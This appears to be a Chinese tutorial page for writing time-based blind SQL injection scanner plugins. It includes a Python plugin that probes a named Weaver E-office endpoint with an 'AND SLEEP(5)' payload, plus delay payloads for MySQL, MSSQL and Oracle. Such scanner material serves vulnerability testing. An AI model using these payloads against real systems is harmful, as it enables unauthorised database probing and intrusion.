时间盲注类插件


这一类的注入在返回页面中没有回显,但可以根据返回页面的结果判断构造的SQL条件语句的真假性。

实例

范例插件:

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. def assign(service, arg):
  4. if service == fingerprint.weaver_e_office:
  5. return True, arg
  6. def time_sql(arg):
  7. payload = "%20AND%20SLEEP%285%29"
  8. url = arg+"E-mobile/source_page.php?pagediff=email=9"
  9. start_time = time.time()
  10. ture_code, head, res, final_url, log= hackhttp.http(url)
  11. ture_time = time.time()- start_time
  12. start_time = time.time()
  13. false_code, head, res, final_url, log= hackhttp.http(url+payload,timeout=30)
  14. false_time = time.time()- start_time
  15. if false_code == 200 and ture_code ==200 and false_time -ture_time >4:
  16. return url,log,True
  17. def audit(arg):
  18. check = True
  19. for i in xrange(3):
  20. if check:
  21. res = time_sql(arg)
  22. check = check and res[2]
  23. if check:
  24. security_hole(res[0], log=res[1])
  25. if __name__ == '__main__':
  26. from dummy import *
  27. audit(assign(fingerprint.weaver_e_office, "http://localhost/")[1])

MySQL 数据库

方法:使用 sleep() 函数达到延时。

其 SQL 语句原型类似:

  1. SELECT IF(1=1, sleep(5), "1");
  2. SELECT IF(1=2, sleep(5), "1");

MSSQL 数据库

方法:使用 waitfor delay 达到延时。

其 SQL 语句原型类似:

  1. waitfor delay '0:0:5'

Oracle 数据库

方法receive_message 函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。

  1. AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

receive_message 语法:

  1. dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer;

其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。